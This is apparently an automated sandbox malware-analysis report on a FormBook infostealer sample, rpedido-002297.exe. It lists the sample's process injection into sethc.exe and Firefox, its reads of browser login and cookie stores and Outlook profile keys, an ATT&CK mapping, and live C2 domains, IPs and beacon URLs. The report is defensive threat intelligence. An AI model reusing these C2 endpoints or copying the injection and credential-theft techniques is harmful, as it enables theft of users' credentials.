Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325014C9 mov eax, dword ptr fs:[00000030h]	1_2_325014C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325014C9 mov eax, dword ptr fs:[00000030h]	1_2_325014C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325014C9 mov eax, dword ptr fs:[00000030h]	1_2_325014C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325014C9 mov eax, dword ptr fs:[00000030h]	1_2_325014C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325014C9 mov eax, dword ptr fs:[00000030h]	1_2_325014C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A4F0 mov eax, dword ptr fs:[00000030h]	1_2_3251A4F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A4F0 mov eax, dword ptr fs:[00000030h]	1_2_3251A4F0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F4FD mov eax, dword ptr fs:[00000030h]	1_2_3259F4FD
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325094FA mov eax, dword ptr fs:[00000030h]	1_2_325094FA
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325154E0 mov eax, dword ptr fs:[00000030h]	1_2_325154E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E4EF mov eax, dword ptr fs:[00000030h]	1_2_3251E4EF

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtAllocateVirtualMemory: Direct from: 0x774C3BBC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQueryInformationToken: Direct from: 0x774C2BCC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtOpenFile: Direct from: 0x774C2CEC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtAllocateVirtualMemory: Direct from: 0x774C2B0C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtOpenSection: Direct from: 0x774C2D2C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQueryVolumeInformationFile: Direct from: 0x774C2E4C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtDeviceIoControlFile: Direct from: 0x774C2A0C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQuerySystemInformation: Direct from: 0x774C47EC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtCreateFile: Direct from: 0x774C2F0C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtSetInformationThread: Direct from: 0x774C2A6C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtCreateKey: Direct from: 0x774C2B8C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtClose: Direct from: 0x774C2A8C
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQueryAttributesFile: Direct from: 0x774C2D8C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtWriteVirtualMemory: Direct from: 0x774C482C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtProtectVirtualMemory: Direct from: 0x774C2EBC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtCreateUserProcess: Direct from: 0x774C363C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQueryInformationProcess: Direct from: 0x774C2B46	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtResumeThread: Direct from: 0x774C2EDC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtAllocateVirtualMemory: Direct from: 0x774C480C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtSetInformationThread: Direct from: 0x774B6319	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtOpenKeyEx: Direct from: 0x774C2ABC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtDelayExecution: Direct from: 0x774C2CFC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtProtectVirtualMemory: Direct from: 0x774B7A4E	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtReadFile: Direct from: 0x774C29FC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtQuerySystemInformation: Direct from: 0x774C2D1C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtAllocateVirtualMemory: Direct from: 0x774C2B1C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtResumeThread: Direct from: 0x774C35CC	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtMapViewOfSection: Direct from: 0x774C2C3C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtSetInformationProcess: Direct from: 0x774C2B7C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtWriteVirtualMemory: Direct from: 0x774C2D5C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtNotifyChangeKey: Direct from: 0x774C3B4C	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	NtReadVirtualMemory: Direct from: 0x774C2DAC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: NULL target: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: NULL target: C:\Windows\SysWOW64\sethc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: NULL target: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: NULL target: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\sethc.exe

Thread register set: target process: 3584

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\sethc.exe

Thread APC queued: target process: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rpedido-002297.exe	Process created: C:\Users\user\Desktop\rpedido-002297.exe "C:\Users\user\Desktop\rpedido-002297.exe"	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Process created: C:\Windows\SysWOW64\sethc.exe "C:\Windows\SysWOW64\sethc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: ffHgJPmoWftQT.exe, 00000002.00000002.16209586512.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000000.11649787592.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16210819430.0000000001951000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: ffHgJPmoWftQT.exe, 00000002.00000002.16209586512.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000000.11649787592.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16210819430.0000000001951000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: ffHgJPmoWftQT.exe, 00000002.00000002.16209586512.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000000.11649787592.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16210819430.0000000001951000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: ffHgJPmoWftQT.exe, 00000002.00000002.16209586512.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000000.11649787592.0000000001051000.00000002.00000001.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16210819430.0000000001951000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\rpedido-002297.exe

0_2_00403489

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.16210012048.00000000012C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11738899156.00000000322E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15398598450.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15398680502.0000000004AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11739770238.0000000033C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.16210520665.0000000003AC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\sethc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.16210012048.00000000012C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11738899156.00000000322E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15398598450.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15398680502.0000000004AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11739770238.0000000033C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.16210520665.0000000003AC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	312 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	1 Access Token Manipulation	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rpedido-002297.exe	100%	Avira	HEUR/AGEN.1331786
rpedido-002297.exe	18%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nspC5B.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
ngsafh.yiqingkepa.com	103.149.183.47	true	true	unknown
www.guvosh.info	209.74.64.189	true	true	unknown
rbseating.shop	162.250.125.14	true	true	unknown
www.bejho.net	64.225.91.73	true	true	unknown
pqoff.cyou	176.123.9.220	true	true	unknown
www.spectre.center	5.39.10.93	true	true	unknown
drive.usercontent.google.com	142.250.176.193	true	false	unknown
www.diterra.shop	52.223.13.41	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	true	unknown
nidedabeille.net	195.110.124.133	true	true	unknown
casadisole.org	93.125.99.74	true	true	unknown
kerennih31.click	104.223.44.195	true	true	unknown
nuvsgloves.shop	3.33.130.190	true	true	unknown
drive.google.com	142.250.80.78	true	false	unknown
www.my1pgz.pro	156.227.17.86	true	true	unknown
030002626.xyz	65.21.196.90	true	true	unknown
myplayamate.llc	3.33.130.190	true	true	unknown
www.kerennih31.click	unknown	unknown	true	unknown
www.nuvsgloves.shop	unknown	unknown	true	unknown
www.nidedabeille.net	unknown	unknown	true	unknown
www.myplayamate.llc	unknown	unknown	true	unknown
www.ciao83.top	unknown	unknown	true	unknown
www.030002626.xyz	unknown	unknown	true	unknown
www.nnnvvehuqyl.bond	unknown	unknown	true	unknown
www.pqoff.cyou	unknown	unknown	true	unknown
www.rbseating.shop	unknown	unknown	true	unknown
www.casadisole.org	unknown	unknown	true	unknown
www.animazor.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.nidedabeille.net/qwre/	true	unknown
http://www.guvosh.info/weoa/	true	unknown
http://www.diterra.shop/i214/	true	unknown
http://www.diterra.shop/i214/?sdqp=DdBtjpu0&SLTxDJ=8L+v0iKQi3SEHLT2WRo67D7fdIZ1owlHl2rmrOR1JwYTeA0xdiNmVuQJUv8W+96NKPQHmSfbhnGjNIdnMhMOhWIupUnYlb8qpfN48FFLVIFHw+P9rJXDvU0=	true	unknown
http://www.nuvsgloves.shop/211a/	true	unknown
http://www.myplayamate.llc/rhg0/?SLTxDJ=2L1ve2bmhFTS5KzkmMxIzSFacPcGfmR9IE3yYvHp2/L/wTys70xKqVLp323vXEq+zj0T9FJ1aW2OvbGQ4Lpp6uTFnvn++ufGxUl1x1y0DnQlMq5exFAJ/qg=&sdqp=DdBtjpu0	true	unknown
http://www.ciao83.top/osru/?SLTxDJ=Zr9lePhs13vfiSXUgPBOQmFuuEIf7wPoKDQkwm1HCgeL+p61jRVuWaM60djbP4lo+XHfO/zYruNTVKRckEUHjUHONRjPInqHY94AphWcG+NTuGKPqY7AU7g=&sdqp=DdBtjpu0	true	unknown
http://www.bejho.net/m4fe/?SLTxDJ=j+QGOmJgLx8aZTbQ/UU455ao2mlxc0BwRC8m2DvQUT3YjU8qv77b8K+aSHVJXg73d6cB6HYz/W+ec5eRF6coKG6Ok7VuH1Gqb2tjeoQuqK3f3rky9yZBMig=&sdqp=DdBtjpu0	true	unknown
http://www.kerennih31.click/195u/	true	unknown
http://www.kerennih31.click/195u/?SLTxDJ=aNYDz25QeW1nHygD0LaYtsh6raBYIBnRK9eBJq58sI9PMC6Y0hkfI4Z/VJ9iKp+j++1Gwc5EXUVHTapx585cEAZeHKtDaaAZqpmCFOpgojzJ8At9FsJqyBw=&sdqp=DdBtjpu0	true	unknown
http://www.animazor.online/f57g/?SLTxDJ=PpyUL764Lok+Ppx0Qx+flf+oLnZjKtESHdypv4ujlvPdkHCPNJQcR2wKvaRzAHBpGeyN5Ompg3h0vZ2hJul1rBg78gGMUKvCjJ308wc1KBj/j4QDVYdFWXw=&sdqp=DdBtjpu0	true	unknown
http://www.animazor.online/f57g/	true	unknown
http://www.pqoff.cyou/8hdf/?SLTxDJ=lLOyoMBfr5jpOHc3aGxYSKEVrJDOBL4hs/wtu5LQPMr8OmGbaQfYchAMtHZyuHHG/1HmBLCYvytSJ41hCNMOCinrONpnSIX56rBOFOVmXblBC0Id8Y2VjXg=&sdqp=DdBtjpu0	true	unknown
http://www.casadisole.org/8aav/?SLTxDJ=cXEBHFhJYRIEdLtDrD47XouJ9lOJ6Jbz9q+FGHwZbcqkL3CqI33gRqzfzaRS4tnulKfTicgkVTcPWkXwiz1QB5bpYjLPXLzN677G0LXTHI3kekNY/RjEFGc=&sdqp=DdBtjpu0	true	unknown
http://www.spectre.center/zerq/?sdqp=DdBtjpu0&SLTxDJ=JJygX/9Yqp2kCJm1X937CsoHlxMYbOn5BbW6iXsQ58IJmHXe+LE0Ahk0W9b16x8ck1wrZbbWmuYj5v7E2XXBWkCBLNkXiRXO/bLJPNeQGE5OCLVGIG7pjJ0=	true	unknown
http://www.bejho.net/m4fe/	true	unknown
http://www.myplayamate.llc/rhg0/	true	unknown
http://www.030002626.xyz/49rz/	true	unknown
http://www.casadisole.org/8aav/	true	unknown
http://www.my1pgz.pro/4db5/	true	unknown
http://www.rbseating.shop/39es/	true	unknown
http://www.pqoff.cyou/8hdf/	true	unknown
http://www.nuvsgloves.shop/211a/?SLTxDJ=sCokzXCHPe9EljO2li5uWyvEvprmidp85P956psXE5pPHneasvASkBMAjzQyqTiufapuM3ZSx9u+6TTkMqSOIoBMOr8rXdhmKhHpcoXyFg81cDzlWYIjmEI=&sdqp=DdBtjpu0	true	unknown
http://www.ciao83.top/osru/	true	unknown
http://www.guvosh.info/weoa/?SLTxDJ=EoFNcPjpgMXDCm2GvpzDf2Up793BOIi+pKCezFiYD4jbj2Yo7D13E7BcxzwFrISbrXGSJXEIolRF+rdzKXlRzk56QF0257Aw5rMH1zy2O6JYE5jaN7phvns=&sdqp=DdBtjpu0	true	unknown
http://www.nidedabeille.net/qwre/?SLTxDJ=5IUmOmgXmzXVv/gX216kUflcAKBqivLO9FqsMlOL+FkZEQacAcRtqW88LIybSleJd1eUrkQHdwoeigFGPvuQFpglB+P4g6ziRlq8MXCZxaJOIp9OQX7VofM=&sdqp=DdBtjpu0	true	unknown
http://www.rbseating.shop/39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS+pCoeb+ZZoWaInIAsqOuwaQAybftVmN+kQrlALvUyxAy6phvN3h0mYXE1KKUlyvAZJeg5ZIE=&sdqp=DdBtjpu0	true	unknown
http://www.030002626.xyz/49rz/?SLTxDJ=EhbzRBRYrjyKBBl3aRsEbBXbhOXLjCE10r+nsIopZm23Glpi7Qy7+DNq+4vPd57NXdgKEXQmc8fDDe8aO6D/jhEFr7XAm7t+Z7WB57wuun69z0f4xguMScI=&sdqp=DdBtjpu0	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11927048335.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, 7831-51J.3.dr	false	unknown
http://giganet.ua/ru	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11927048335.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, 7831-51J.3.dr	false	unknown
https://duckduckgo.com/ac/?q=	7831-51J.3.dr	false	unknown
https://nojs.domaincntrol.com	sethc.exe, 00000003.00000002.15399759250.0000000005BDA000.00000004.10000000.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.0000000003A9A000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/domains	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/documents	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://img.imena.ua/js/bundle.min.js	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://inau.ua/	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/en/how-search	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/vps	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	rpedido-002297.exe, 00000001.00000001.11333413341.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	unknown
https://www.ripe.net/	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
